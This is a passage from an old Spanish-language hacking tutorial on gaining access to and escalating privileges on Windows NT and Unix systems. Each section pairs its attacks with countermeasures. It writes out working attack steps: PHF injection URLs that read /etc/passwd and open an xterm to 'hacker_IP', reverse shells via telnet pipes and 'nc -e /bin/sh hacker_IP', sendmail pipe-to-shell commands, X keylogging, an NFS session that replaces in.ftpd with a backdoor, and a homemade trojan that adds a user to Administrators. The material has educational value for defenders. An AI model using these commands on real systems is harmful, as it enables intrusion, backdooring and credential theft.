Un site que realmente merece una visita para los fan�ticos del crackeo de passwords es http://www.lostpassword.com

Contramedidas:
Inactivar file/directory sharing.
No usar Windows 9x en ambientes de libre acceso.
Desactivar la funci�n de autoarranque del CDROM.
No grabar los passwords, o al menos utilizar passwords diferentes para las distintas funciones.

Windows NT
Este sistema operativo es relativamente seguro, pero lo es mucho menos de lo que pudo ser. Para todos los passwords de login NT utiliza un poderoso mecanismo de encriptaci�n denominado �double-DES� (doble Data Encryption Standard) que es relativamente dif�cil de desencriptar.
Pero Microsoft decidi� que era m�s importante la compatibilidad con sistemas legacy que la seguridad, y Windows NT usa adicionalmente el antiguo algoritmo de encriptaci�n de LAN Manager, que es bastante d�bil (esto �ltimo no es culpa de Microsoft, el algoritmo fu� originalmente desarrollado por IBM).

Una de las cosas que podr�a intentarse es adivinar manualmente passwords a trav�s de la red, para lo cual es vital una lista de los usernames. Dicha lista seguramente la armamos con DumpACL y el par sid2user/user2sid en el paso de enumeraci�n.
Hay que tomar en cuenta dos hechos opuestos:

-   los usuarios tienden a elegir el password m�s sencillo posible, pero
-   NT suele bloquear las cuentas tras 3 intentos fallidos (ojo con esto!)

Es bueno saber tambien que los controladores de dominio no suelen permitir el login interactivo excepto para unas pocas cuentas administrativas, por lo cual suele empezarse por alg�n NT Workstation o un NT Server miembro de la red, para ir conociendo los herrores habituales en la red, antes de intentar nada sobre los DC.

El proceso de chequeo de passwords puede ser automatizado (recordar el lock de la cuenta!) con herramientas ya mencionadas como NetBIOS Auditing Tool (NAT) y Legion, o un simple script que utilice net use.

Estos mecanismos no son demasiado efectivos contra cuentas importantes, donde los administradores tienden a elegir buenos passwords, pero suelen permitir la primer infiltraci�n en cuentas con password nulo o trivial.

Otro m�todo para facilitar el ingreso es el sniffing de la red para capturar los hash que son enviados al establecer las conexiones.
Una de las herramientas de m�ltiple funcionalidad que permite esto es L0pthcrack (http://www.l0pht.com) la herramienta m�s conocida para crackeo de passwords NT, que incorpora un sniffer de red en el crackeador. Las versiones anteriores de L0phtcrack utilizaban un programa externo para este mismo fin, llamado readsmb. Una versi�n del readsmb para UNIX puede encontrarse en la p�gina de herramientas de L0pht (y el c�digo fuente de L0phtcrack para *NIX se encuentra en varios archivos de herramientas de hacking en Internet).
Inclusive uno puede hacer que le env�en el hash a pedido, enviando un mail con un URL del tipo ////mimaquina/midirectoriocompartido/mensaje.html como un archivo. El hash llega y debemos sniffearlo.

La gente de L0pht tambien cre� un sniffer que permite capturar los hash utilizados por los logins de NT que utilizan Microsoft VPN.

Contramedidas:
Bloquear el tr�fico NetBIOS en el per�metro de la red.
Forzar con las policies el uso de buenos passwords, lockear las cuentas luego de 3 intentos, y loguear los intentos de login fallidos.
Educar a los usuarios para que utilicen buenos passwords.
Utilizar switches en lugar de shared hubs, lo cual dificulta el sniffeo de la red (sigue funcionando el truquito del mail).
Desactivar el uso de los passwords de LAN Manager (este parche viene incorporado en SP4, pero el parche no est� activado por defecto, ya que impide la conexi�n de clientes Win9x y anteriores).

Los xploits remotos para NT son m�s un mito que una realidad, aunque esta situaci�n va cambiando lentamente. Algunos de los m�s conocidos son:

-   Netmeeting 2.x exploit (http://www.cultdeadcow.com/cDc_files/cDc-351)
-   NT RAS exploit (http://www.infowar.co.uk/mnemonix/ntbufferoverruns.htm)
-   winhlp32 exploit (�dem anterior)
-   IISHACK exploit (http://www.eeye.com)

Siempre que surgi� alg�n problema de este tipo Microsoft termin� sacando un parche, pero eso mismo sucede en cualquier otro sistema operativo.

Los ataques m�s frecuentes contra redes Microsoft son los de Denial of Service (DoS) por claras fallas en los stacks de TCP/IP de este sistema operativo que lo han hecho claramente vulnerable, y por el simple hecho de ser el sistema operativo m�s utilizado en entorno empresario. Entre los ataques DoS m�s conocidos tenemos teardrop, teardrop2, snork, land y OOB (todos espec�ficos de Windows, no hacen nada a un Linux).

Contramedidas:
Tener instalado como m�nimo el SP5.
Obviamente estar al tanto de nuevos SP e instalarlos.

Linux/UNIX

En el paso anterior hemos enumerado los servicios del sistema, y ahora disponemos de la informaci�n necesaria para buscar xploits que se apliquen a la versi�n instalada.

Existen literalmente centenares de sites en Internet que tienen archivos de los xploits a vulnerabilidades conocidas, dentro de ellos los siguientes:

-      http://www.securityfocus.com
-      http://hack.co.za
-      http://www.hackersclub.com
-      http://www.uha1.com

y otros.

Contemplaremos aqu� las posibilidades de acceso remoto.

El acceso remoto se define como el acceso a consola local v�a red. Una vez alcanzado el acceso shell, a�n cuando sea con nivel de usuario, podemos considerar que estamos locales en el sistema, y se aplican metodolog�as locales que se describir�n en el siguiente m�dulo como �escalaci�n de privilegios�.

En sistemas *NIX tambi�n aplican los ataques por fuerza bruta ya mencionados en la secci�n de Windows NT. Empeorados porque muchos sistemas no tienen implementadas pol�ticas de lockeo de cuenta tras n intentos fallidos de conexi�n.

Los servicios que son atacables por fuerza bruta son, en principio, los siguientes:

-   telnet
-   FTP
-   los servicios 'r' (rlogin, rsh, y otros)
-   Secure Shell (SSH)
-   POP
-   HTTP/HTTPS

Recordemos la importancia del paso previo de enumeraci�n de IDs de usuarios, ya que los user IDs, as� como cualquier informaci�n del campo GECOS obtenida, por ejemplo, con finger, son aplicables a las metodolog�as de acceso remoto por fuerza bruta.

Uno de los errores m�s comunes (seg�n mi experiencia) en sistemas Linux es que alg�n usuario tiene como password su user ID. Es mucho m�s frecuente de lo que puede imaginarse.

Si bien el ataque por fuerza bruta puede hacerse a mano, existen algunas herramientas autom�ticas para este proceso, mencionaremos las siguientes:

-   brute_web.c   (http://sunshine.sunshine.ro/FUN/New/)
-   pop.c      (mismo site)
-   middlefinger   (http://www.njh.com/latest/9709/970916-05.html)

Contramedidas:
Nunca se mencionar� suficientes veces: que los usuarios tengan buenos passwords.
Forzar con pol�ticas el cambio de passwords con frecuencia (30 d�as para cuentas administrativas, 60 d�as para usuarios normales).
La longitud m�nima del password debe ser 6 caracteres, siendo preferible una longitud m�nima de 8 caracteres. No utilizar versiones viejas de Linux, ya que algunas ignoraban cualquier caracter del password despu�s del octavo.
Auditar los propios passwords con herramientas adecuadas para detectar passwords vulnerables y notificar a los usuarios de los mismos, oblig�ndolos a cambiarlos.
No utilizar el mismo password en diferentes sistemas (en particular los passwords administrativos).
NO ESCRIBIR EL PASSWORD EN PAPEL.
No contarle el propio password a otras personas (a veces pasa).
Asegurarse que no existan cuentas con alto privilegio que tengan passwords por defecto (ver el bug del paquete Piranha en RedHat 6.2 standard, la informaci�n est� disponible en BugTraq).

La segunda amenaza en importancia son los xploits basados en situaciones de buffer overflow.

Un buffer overflow es un error que ocurre cuando un programa tiene malas pr�cticas de programaci�n y no valida adecuadamente la entrada del usuario (que puede ser un ser humano o un programa escrito al efecto), ocasionando que se supere la capacidad del stack asignado, rompi�ndose el c�digo. Hasta aqu� lo que se pierde es la funcionalidad del programa, pero lo peor es que existe la posibilidad de forzar a que el programa al romperse ejecute un c�digo arbitrario (t�picamente un shell) con los privilegios del programa que se cae (en general root). Resultado: un shell como root en el sistema remoto.
En algunos casos no se obtiene un shell, pero puede forzarse la ejecuci�n de comandos, preparando el camino para otros ataques m�s sofisticados.
Para los interesados en la faceta t�cnica de todo esto, existe un art�culo de Aleph One, el moderador de BugTraq, en http://www.2600.net/phrack/p49-14.html

Contramedidas:
Desde el punto de vista del usuario final, la �nica contramedida factible es aplicar los parches a cualquier programa xploiteable que se detecte. La forma m�s r�pida de enterarse es monitorear diariamente BugTraq (www.securityfocus.com).
Minimizar en lo posible el uso de programas con el bit SUID seteado y los servicios que corren como root.

Otra amenaza son los ataques de input validation, en los cuales se aprovecha que un programa no parsea adecuadamente los argumentos brindados como entrada, lo cual en ocasiones lleva a la ejecuci�n de c�digo o comandos arbitrarios.

El m�ximo ejemplo de una vulnerabilidad de este tipo sucedi� en 1996, cuando Jennifer Myers identific� y report� una vulnerabilidad en el script PHF de Apache y el server web NCSA, que permit�a pasarle argumentos arbitrarios tales como 'cat /etc/passwd'. Cabe recordar que esto suced�a en una �poca donde no se usaban a�n los shadow passwords, de modo que cualquier m�quina con el script PHF permit�a el acceso a la base de datos de passwords encriptados, siendo trivial el proceso consiguiente de crackeo.

Esta vulnerabilidad PHF se basaba en que el script no parseaba bien los argumentos, dentro de los cuales pod�a pasarse un car�cter nueva l�nea (%0a), y cualquier cosa que se pusiera luego del car�cter nueva l�nea se ejecutaba con la prioridad (usuario) con que estaba corriendo el server. La siguiente l�nea permit�a ver el archivo de passwords de un sistema *NIX:

   http://www.mysite.org/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Ya que el archivo de passwords es world readable, cualquier pod�a leerlo.

A lo largo de los a�os han surgido algunas otras vulnerabilidades de este tipo, tal vez no tan desastrosas como la primera, ya que luego del ataque PHF la comunidad ya estaba preparada para otros errores.

Contramedidas:
Son v�lidas exactamente las mismas consideraciones que para el caso de los buffer overflows.
Auditar el propio sistema con Nessus o alguna herramienta similar, que detectan las vulnerabilidades conocidas de input validation.

Suponiendo que los m�todos anteriores hayan permitido la ejecuci�n de determinados comandos, pero no hayamos obtenido un shell interactivo, lo siguiente a intentar es aprovechar vulnerabilidades del sistema X Window.

Recordemos que X abre puertos arriba del 6000 cuando est� instalado, y estos puertos muchas veces son olvidados al armar las reglas de firewalling.

El mejor amigo del atacante es el programa xterm, ya que puede utilizarse para abrir una terminal en el server atacado, pero mostr�ndose en la pantalla X del atacante.
La sintaxis para lograr esto es:

   /usr/X11R6/bin/xterm -ut -display hacker_IP:0.0

Lo cual podr�a lograrse con la siguiente l�nea en un sistema que tuviera el ataque de input validation PHF:

http://www.mysite.org/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20hacker_IP:0.0

Simplemente se reemplazan los espacios por %20 (su representaci�n hexadecimal).
Para que funcionen las vulnerabilidades de X, el sistema tiene que tener mal configurada la seguridad mediante xhost (muchas veces viene mal configurada de f�brica, permitiendo acceso irrestricto).

Otras vulnerabilidades explotan la facilidad que brinda X de conectarse remotamente al ser una aplicaci�n cliente/servidor (siempre es necesario que el sistema remoto est� mal configurado, o que logremos ejecutar un 'xhost +' en dicho sistema).
Una buena forma de identificar m�quinas con 'xhost +' habilitado es usando xscan, que puede escanear una subred entera en busca de servidores X receptivos, logueando todas las teclas presionadas a un archivo de log:

# xscan linux10
Scanning hostname linux10 �
Connecting to linux10 (10.0.0.10) on port 6000�
Connected.
Host linux10 is running X.
Starting keyboard logging of host linux10:0.0 to file KEYLOGlinux10:0.0�

Ahora todas las teclas presionadas se guardan en el archivo 'KEYLOGlinux10:0.0'.

# tail -f KEYLOGlinux10:0.0
su -
[Shift_L]Superman[Shift_R]!

Un simple comando tail sobre el archivo de log nos muestra lo que est� siendo tipeado en tiempo real, en este ejemplo vemos el password de root. Inclusive nos muestra la presi�n de las teclas SHIFT.

Tambi�n pueden visualizarse las ventanas activas en el sistema remoto con el comando xlswins:

# xlswins -display remotehost:0.0 | grep -i netscape
0x1000001   (Netscape)
0x1000246   (Netscape)
0x1000561   (Netscape: OpenBSD)

Con esto conocemos los ID de las ventanas del Netscape, que afortunadamente estaba activo. Ahora podemos visualizarlo en nuestro propio escritorio con:

# xwatchwin remotehost -w 0x1000561

Al proveer el ID de la ventana podemos monitorearla en nuestro propio escritorio sin que nadie detecte nuestra actividad.

A�n cuando la protecci�n por 'xhost -' est� activa podremos obtener una captura de pantalla de las ventanas activas con:

# xwd -root -display localhost:0.0 > dump.xwd

Y podemos finalmente visualizarlo con:

# xwud -in dump.xwd

Contramedidas:
No instalar X Window en un server.
De necesitar instalarlo leer la documentaci�n del comando xhost para setear adecuadamente la seguridad.
Cubrir los puertos 6000-6100 con la firewall.

Un m�todo com�nmente utilizado cuando podemos ejecutar comandos pero no est� instalado X, es la creaci�n de un telnet inverso.
El telnet inverso se crea utilizando el comando nc (NetCat), y podemos confiar en que pr�cticamente cualquier Linux lo incluye.

La idea es crear 2 netcats escuchando en dos puertos diferentes en nuestra m�quina, de tal forma de poder ver de nuestro lado lo que tipeamos en una ventana, y lo que sucede en otra. Luego simplemente se lanzan dos telnets en el sistema remoto, en una cadena de pipes a y desde un shell.

Veamos c�mo armarlo:

-   en primer lugar lanzar 2 netcats en nuestro sistema, utilizando 2 puertos que el sistema remoto pueda acceder, usualmente los sistemas tienen permitido salir a trav�s de las firewalls a puertos tales como el 80 (web) y 25 (sendmail), por lo cual debemos estar seguros que nuestro sistema tenga esos 2 puertos libres y ejecutar:

nc -l -n -v -p 80
nc -l -n -v -p 25

-   luego hay que ejecutar lo siguiente en el site remoto (por ejemplo mediante PHF):

   /bin/telnet hacker_IP 80 | /bin/sh | /bin/telnet hacker_IP 25

Lo que logramos es que un telnet se conecte a uno de nuestros netcats en el puerto 80, all� ser� donde nosotros tipeemos nuestros comandos.
Nuestros comandos pasan con un pipe a /bin/sh (uno de los shells).
La salida de los comandos pasa con un pipe a nuestro otro netcat, en el puerto 25, que es donde veremos los resultados de los mismos.
Similar en concepto a un IRC, pero con dos ventanas

Tambi�n puede estudiarse el uso de netcat, ya que puede utilizarse en el sistema remoto para lograr algo parecido al telnet inverso (usando el flag -e, no siempre soportado).
El proceso es el siguiente:

-   en nuestro sistema ponemos un netcat a la escucha

   nc -l -n -v -p 80

-   y en el sistema remoto ejecutamos

   nc -e /bin/sh hacker_IP 80

Contramedidas:
Se va dificultando la aplicaci�n de contramedidas con los ataques a medida que van ganando en sofisticaci�n, pero pueden eliminarse los comandos telnet y nc del sistema.
En caso de necesitar un acceso tipo telnet usar SSH.
Es factible utilizar un back channel con autenticaci�n, pero es infinitamente m�s dif�cil que un reverse telnet.

Otros ataques remotos implican el abuso de tftp, ya mencionado, y el uso de xploits espec�ficos de FTP y sendmail, que son los m�s comunes.

Los xploits de FTP se dividen en aquellos que requieren que el servidor tenga un directorio donde el usuario an�nimo pueda escribir, y aquellos que aprovechan la vulnerabilidad SITE EXEC (por ejemplo el wu-ftpd 2.6.0 que viene con el Red Hat 6.2 original) que no lo requieren.

Un ejemplo de un xploit viejo de sendmail era la posibilidad de utilizar pipes para enviar a sendmail comandos para ser ejecutados, se utilizaban con un simple telnet al puerto 25 como puede verse en el siguiente di�logo de ejemplo:

   helo
   mail from: |
   rcpt to: bounce
   data
   .
   mail from: bin
   rcpt to: | sed '1,/^$/d' | sh
   data

donde se le pasan argumentos al shell 'sh' mediante pipes.

Contramedidas:
Utilizar el �ltimo FTP, siempre aplicarle cualquier parche que salga, no habilitar la subida de archivos y de ser necesario conectar un FTP a Internet habilitar �nicamente el acceso an�nimo.
Con sendmail utilizar siempre la �ltima versi�n con los parches, o directamente reemplazarlo por alguna alternativa m�s segura como por ejemplo Qmail (www.qmail.org).

Otros xploits que se encuentran f�cilmente hacen uso de vulnerabilidades inherentes del portmapper.
Hay que tener en cuenta que el portmapper no fue desarrollado originalmente con la seguridad en mente.
Existe una versi�n llamara Secure RPC, que permite brindar un poco m�s de seguridad a los servicios que utilizan el portmapper.
Las vulnerabilidades del portmapper hacen conveniente NO usar cualquier servicio que lo necesite, pero desgraciadamente hay servicios importantes, como NFS, NIS y mcserv que lo necesitan.

En el caso puntual de NFS existe una interesante herramienta llamada nfsshell (ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz) que permite browsear el NFS con un cliente similar al cliente FTP de consola. Inclusive permite que cambiemos el UID/GID que estamos utilizando para browsear (usualmente no podemos usar 0, ya que la mayor�a de los NFS no permiten montar algo como root en su configuraci�n por defecto).

El primer paso es chequear que NFS est� activo:

#rpcinfo -p 192.168.2.34
   program   vers   proto   port
   100000   4   tcp   111      rpcbind
   100000   3   tcp   111      rpcbind
   100000   2   tcp   111      rpcbind
   100000   4   udp   111      rpcbind
   100000   3   udp   111      rpcbind
   100000   2   udp   111      rpcbind
   100005   1   udp   32845      mountd
   100005   2   udp   32845      mountd
   100005   3   udp   32845      mountd
   100005   1   tcp   32811      mountd
   100005   2   tcp   32811      mountd
   100005   3   tcp   32811      mountd
   100003   2   udp   2049      nfs
   100003   3   udp   2049      nfs
   100003   2   tcp   2049      nfs
   100003   3   tcp   2049      nfs

Haciendo el query al portmapper podemos ver que mountd y nfs est�n activos.
Luego intentamos ver la lista de exports:

# showmount -e 192.168.2.34
Export list for 192.168.2.34:
/   (everyone)
/usr   (everyone)

Terriblemente mal configurado: exporta sin limitaciones el directorio ra�z y los binarios.

El uso consiguiente de nfsshell ser�a como en este ejemplo:

# nfs

nfs> help
host <host> - set remote host name
uid [<uid> [<secret-key>]] - set remote user id
gid [<gid>] - set remote group id
cd [<path>] - change remote working directory
lcd [<path>] - change local working directory
cat <filespec> - display remote file
ls [-l] <filespec> - list remote directory
get <filespec> - get remote files
df - file system information
rm <file> - delete remote file
ln <file1> <file2> - link file
mv <file1> <file2> - move file
mkdir <dir> - make remote directory
rmdir <dir> - remove remote directory
chmod <mode> <file> - change mode
put <local-file> [<remote-file>] - put file
mount [-upTU] [-P port] <path> - mount file system
umount - unmount remote file system
umountall - unmount all remote file systems
export - show all exported file systems
dump - show all remote mounted file systems
status - general status report
help - this help message
quit - its all in the name
bye - good bye
handle [<handle>] - get/set directory file handle
mknod <name> [b/c major minor] [p] - make device

Ahora nos conectamos al servidor remoto:

nfs> host 192.168.2.34
Using a privileged port (1022)
Open 192.168.2.34 (192.168.2.34) TCP

Listamos los file systems que est� exportando:

nfs> export
Export list for 192.168.2.34:
/ everyone
/usr everyone

Montamos / para acceder a todo el filesystem:

nfs> mount /
Using a privileged port (1021)
Mount '/', TCP, trasfer size 8192 bytes.

Chequeamos el status de la conexi�n y averiguamos el UID con que hemos iniciado la conexi�n:

nfs> status
User id      : -2
Group id      : -2
Remote host   : '192.168.2.34'
Mount path      : '/'
Transfer size   : 8192

El sistema no permite montar filesystems como UID 0, despues vermos c�mo podemos obtener mejores privilegios que los actuales. De momento podemos listar el /etc/passwd, ya que es world readable:

nfs> cd /etc

nfs> cat passwd
root:x:0:1:Super-User:/root:/bin/bash
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
� etc � etc �

Podemos obtener de esta forma los userIDs, pero no los passwords encriptados ya que el sistema utiliza shadow passwords.
No podemos crackear los passwords, y no podemos montar el filesystem como root, pero al menos podemos obtener interesantes privilegios cambiando nuestro UID y viendo qu� cosas est�n mal configuradas en el sistema remoto. El usuario daemon tiene potencial, pero bin (UID = 2) tiene acceso como owner a los binarios:

nfs> mount /usr
Using a privileged port (1022)
Mount '/usr', TCP, transfer size 8192 bytes.

nfs> uid 2

nfs> gid 2

nfs> status
User id      : 2
Group id      : 2
Remote host   : '192.168.2.34'
Mount path      : '/usr'
Transfer size   : 8192

Llegados a este punto podemos arrancar una xterm o instalar un back telnet a nuestro sistema reemplazando alg�n ejecutable. Por ejemplo in.ftpd:

#!/bin/sh
/usr/X11R6/bin/xterm -display 10.0.0.11:0.0 &

Y subimos nuestro in.ftpd, reemplazando el existente:

nfs> cd /sbin
nfs> put in.ftpd

Finalmente permitiremos la conexi�n desde nuestro lado con:

# xhost +192.168.2.34
# ftp 192.168.2.34

Al intentar iniciar el ftp arrancaremos la xterm remota, voil�

Contramedidas:
No utilizan ning�n servicio no necesario.
Cubrir con firewall el portmapper y otros puertos que correspondan a los servicios que necesitemos utilizar en el per�metro de la red.

Quinto paso: Escalate Privilege (Escalar privilegios)

En este paso veremos cu�les son los mecanismos usualmente utilizados para obtener prioridades m�s altas dentro del sistema, una vez que se logr� el ingreso al mismo (t�picamente con una cuenta de usuario com�n).
Nuevamente, y por los mismos motivos que en el paso 4, dividiremos el apunte en dos secciones, apuntando a Windows NT y Linux/UNIX.

Windows NT
"The Quest for Administrator"
La primer regla a tener en mente acerca de la seguridad en NT es que un intruso remoto no es nadie si no es Administrator. Como se mencionar� m�s adelante, NT no provee la capacidad de ejecutar comandos remotamente (excepto con algunos xploits), e inclusive aunque lo permitiera, el login interactivo a un NT Server est� restringido a unas pocas cuentas administrativas, limitando severamente la habilidad de usuarios remotos (que no sean del grupo Admins) de hacer da�o. Por lo tanto, el atacante experimentado buscar� las cuentas equivalentes al Administrator como tiburones acerc�ndose a una presa herida desde millas de oc�ano.
--- Hacking Exposed (traducci�n libre

Una vez accedido un sistema con cuenta de usuario com�n, es necesario por todos los medios obtener una cuenta con alto privilegio, como Administrator, o al menos Domain Operator, Server Operator o Backup Operator, ya que son las �nicas que tienen permitido el login interactivo en los NT Servers que act�an como Domain Controllers (salvo que realmente est� todo MUY mal configurado).

Windows NT es un sistema realmente s�lido desde la perspectiva de escalada de privilegios a nivel dominio, ya que un NT Server no ejecuta nunca c�digo de usuario en forma local, sino en la workstation remota. Para burlar esto se han desarrollado ingeniosos mecanismos. A continuaci�n detallar� los m�s conocidos.

Sin lugar a dudas el mejor m�todo para obtener datos que permitan elevar nuestros privilegios es netamente no-t�cnico: revisar la informaci�n al alcance del usuario con que hayamos logrado entrar. Este m�todo se conoce como �hoovering information�, basado en una marca de aspiradoras

Con la herramienta srvinfo del NTRK podemos enumerar los shares disponibles, intentaremos conectarnos a todos ellos, y revisaremos cualquier archivo al alcance de la mano.
Un editor hexadecimal suele ayudar para mirar archivos binarios, que a veces contienen informaci�n interesante dentro.
Los archivos .bat y .cmd a veces tambi�n contienen informaci�n interesante.
Es bueno hacer al menos una b�squeda de la cadena �password� en todos los archivos.

Contramedidas:
No existe ninguna herramienta que impida los errores humanos, de modo que la �nica contramedida posible contra el hoovering es conectarnos como si fu�ramos el atacante (desde una cuenta no privilegiada) y ver qu� se puede encontrar.

Pasando ya a algo m�s t�nico, mencionaremos una herramienta llamada getadmin (http://www.ntsecurity.net/security/getadmin.htm) que permite agregar un usuario al grupo Administrators local.

El mecanismo utilizado por getadmin se denomina �DLL injection�, y consiste en insertar su propio c�digo en RAM dentro de un DLL que tenga alto privilegio, t�picamente el proceso winlogon.
El poder de getadmin es reducido, ya que debe ser ejecutado localmente. La sintaxis utilizada es:

getadmin <user_name>

El usuario en cuesti�n es agregado al grupo Administrators local, pero reci�n obtendr� sus privilegios extra despues de hacer logoff y loguearse nuevamente.
En algunos casos necesitaremos utilizar alg�n ataque DoS (Denial of Service) para que el operador se vea obligado a reiniciar el server (lo cual probablemente no le llame demasiado la atenci�n

Una buena forma de chequear si se obtuvieron los privilegios es intentar correr el Disk Administrator de las Common Administrative Tools, que solo puede ser corrido por un miembro del grupo Administrators.

Contramedidas:
El error que aprovechaba el getadmin fue solucionado por un parche posterior al SP3.
Existen rumores de la existencia de un programa llamado crash4 que indican que permite hacer lo mismo que el getadmin, a�n con el parche instalado.

Otro programa con la misma funcionalidad que getadmin, pero que t�cnicamente trabaja diferente es el programa sechole (viene de SECurity HOLE).
Este programa modifica las intrucciones en RAM de la llamada API OpenProcess de modo de poder anexarse a un proceso de alto privilegio.
El c�digo completo de sechole y una descripci�n detallada pueden encontrarse en http://www.ntsecurity.net/security/sechole.htm

Como getadmin, sechole debe ejecutarse localmente, pero existe la posibilidad de ejecutarlo mediante un xploit del IIS similar en concepto a la vulnerabilidad PHF ya mencionada.

Una versi�n m�s moderna de sechole, llamada secholed, permite agregar un usuario al grupo Domain Admins.

Contramedidas:
Microsoft sac� un parche para evitar la vulnerabilidad aprovechada por el sechole. Hasta donde yo s� es un fix puntual, y no fu� incluido en los SP, pero es conveniente buscar la informaci�n detallada en el site de Microsoft.

Tambi�n pueden utilizarse troyanos (que cubriremos en detalle m�s adelante) para intentar capturar informaci�n importante que nos permitir� escalar privilegios.

Un ejemplo de un troyano �casero� ser�a, por ejemplo, renombrar el regedit.exe, y crear un regedit.cmd en el cual pondr�amos:

net localgroup administrators <user> /add

o algo conceptualmente similar.

Para que sea realmente fino deber�amos renombrar el regedit con su nombre original y eliminar el .cmd (el summum ser�a despu�s de esto lanzar el regedit

Un ataque as� produce un breve parpadeo de la pantalla al lanzarse el script, pero muchas veces el administrador estar� tan ocupado que no le prestar� atenci�n (sobre todo si al final se abre el regedit igual

Contramedidas:
Contra muchos troyanos est�ndar existen contramedidas que mencionaremos al tratar el tema. Contra nuestro �troyano casero� solo sirve prestar atenci�n a comportamientos extra�os, ventanas que parpadean y se cierran enseguida, y en general cualquier cosa anormal que veamos.

El �ltimo punto a mencionar como aprovechable son las keys ejecutables de la registry.
T�picamente son las siguientes:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\AeDebug
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon

Aunque puede que exista alguna otra que escapa a mi memoria.
Todos los ejecutables que se logren colocar dentro de una de estas keys se autoejecutar�n durante los arranques de sistema, por lo cual son potencialmente interesantes.

Contramedidas:
No hay recetas m�gicas. Hay que auditar la registry de tanto en tanto y ver si no aparece algo extra�o.
Como dato interesante: yo uso NT Workstation con SP4 y puedo agregar ejecutables a las keys sin mayores problemas.

Como se habr� notado, la escalaci�n de privilegios en Windows NT es bastante dif�cil salvo que el sistema est� bastante mal configurado (por ejemplo sin Service Packs).

UNIX/Linux

"The Quest for root"
En 1969, Ken Thompson, y m�s tarde Denis Richie, de AT&T decidieron que el proyecto MULTICS (Multiplexed Information and Computing System) no estaba progresando tan r�pido como ellos quer�an. Si decisi�n de crear un nuevo sistema operativo llamado UNIX cambio para siempre el mundo de la computaci�n. UNIX fue desarrollado como un sistema potente, robusto, multiusuario que era excelente corriendo programas, en particular peque�os programas llamados herramientas (tools). La seguridad no fue una de las caracter�sticas primarias del dise�o de UNIX, aunque UNIX tiene una gran dosis de seguridad si est� adecuadamente implementado. La promiscuidad de UNIX es un resultado de su desarrollo y la mejora del kernel del sistema operativo abiertos, as� como de las peque�as herramientas que hacen tan poderoso a este sistema operativo. Los primeros entornos UNIX estaban ubicados dentro de los laboratorios de la Bell o en universidades donde la seguridad estaba controlada principalmente por medios f�sicos. Por esto se consideraba que cualquiera que ten�a acceso f�sico a un sistema UNIX era alguien autorizado. En algunos casos ni siquiera se tomaban precauciones con el uso de los passwords de root por resultar molesto.
Si bien UNIX y sus derivados han evolucionado considerablemente en los �ltimos 30 a�os, la pasi�n por UNIX y por la seguridad de UNIX no ha disminuido. Muchos fan�ticos desarrolladores y hackers analizan minuciosamente el c�digo fuente en busca de vulnerabilidades. Se considera una "medalla de honor" poder informar sobre una nueva vulnerabilidad en listas de correo como BugTraq (www.securityfocus.com).
Recordar siempre que UNIX tiene solamente dos niveles de acceso: el superpoderoso root y todos los dem�s. No hay sustituto para root!
--- Hacking Exposed (traducci�n libre

En sistemas *NIX, una vez que se logr� acceso local como cualquier usuario normal o de sistema, la situaci�n es ligeramente mejor que en NT, ya que tenemos la posibilidad de correr comandos localmente.
Como primer paso en la escalaci�n de privilegios mencionar� otra vez el tema de los passwords inadecuados.
Uno puede muchas veces lograr acceso local con una cuenta de bajo privilegio mediante un xploit remoto, pero una vez que logra dicho acceso puede leer tranquilamente el archivo /etc/passwd, ya que es (y debe ser) world readable.
Obviamente si el sistema utiliza shadow passwords no obtendremos los passwords encriptados para intentar crackearlos, pero al menos dispondremos de todos los user IDs del sistema, y si se cargaron datos en los campos GECOS de m�s informaci�n a�n.

Si el sistema no llega a utilizar shadow passwords podremos copiar todo el /etc/passwd a un sistema propio y crackearlo a placer. Este tema lo veremos en detalle en el m�dulo 6.

Contramedidas:
Las mismas ya mencionadas anteriormente: tener buenos passwords y auditarlos de tanto en tanto con un crackeador. Cualquier password que se pueda crackear en pocas horas est� mal elegido.
Verificar que las cuentas que no deban tener la posibilidad de hacer login interactivo tengan un binario inocuo en el campo shell del /etc/passwd

La verdadera panacea si logramos acceso local es el uso de xploits locales (que se encuentran en las mismas fuentes que los xploits remotos ya mencionados).

Los tipos de xploits var�an desde aquellos que utilizan alg�n tipo de buffer overflow, hasta algunos que aprovechan errores de los programas que escriben archivos temporales sin chequear si ya existen o no, y si son un verdadero archivo o un link a otro archivo.

Un ejemplo de un buffer overflow local fue detectado en mayo de 1999 por la gente de Shadow Penguin Security. Consist�a en un buffer overflow xploiteable dentro de la principal librer�a del sistema: glibc, siempre que utilizara la variable de entorno LC_MESSAGES.

Obviamente este xploit era particularmente detestable, ya que al estar asociado a una librer�a del sistema (a la principal de ellas) que se linkeaba din�micamente con muchos ejecutables, era aprovechable casi desde cualquier punto del sistema.

El proceso para xploitear era el mismo que para un xploit remoto: hab�a que obtener el c�digo fuente del xploit y compilarlo, lo cual usualmente no es sencillo ni mucho menos ya que los que programan los xploits los deshabilitan ligeramente para que no sean utilizados por cualquiera.

Una vez compilado satisfactoriamente el proceso de xplit en si demoraba milisegundos. Era cuesti�n de ejecutar el xplit conjuntamente con cualquier programa con SUID. El proceso se romp�a al excederse los buffers y termin�bamos con un shell (/bin/sh) como root.

Contramedidas:
No hay mucho que hacer como usuario normal.
Podemos auditar nuestros programas con SUID, tal vez mediante paquetes como Tripwire (disponible en el site de RedHat, lo trataremos m�s adelante cuando veamos troyanos) para ver que no aparezca ninguno nuevo.
Obviamente remover el SUID de aquellos programas que no lo necesiten realmente.
T�cnicamente se puede parchar el kernel para que no permita la ejecuci�n de c�digo desde el stack. Existen algunos parches para esto, pero es relativamente dificultosa su instalaci�n.
Es preferible estar al tanto de nuevos xploits y parchar inmediatamente los paquetes vulnerables.

Otro tipo de xploits utiliza la posibilidad que brindan algunos programas con errores de escribir sobre links que apuntan a archivos del sistema. Es bastante dif�cil xploitear estas situaciones, que en teor�a funcionan como sigue:

Creamos un symlink en el /tmp a un archivo del sistema

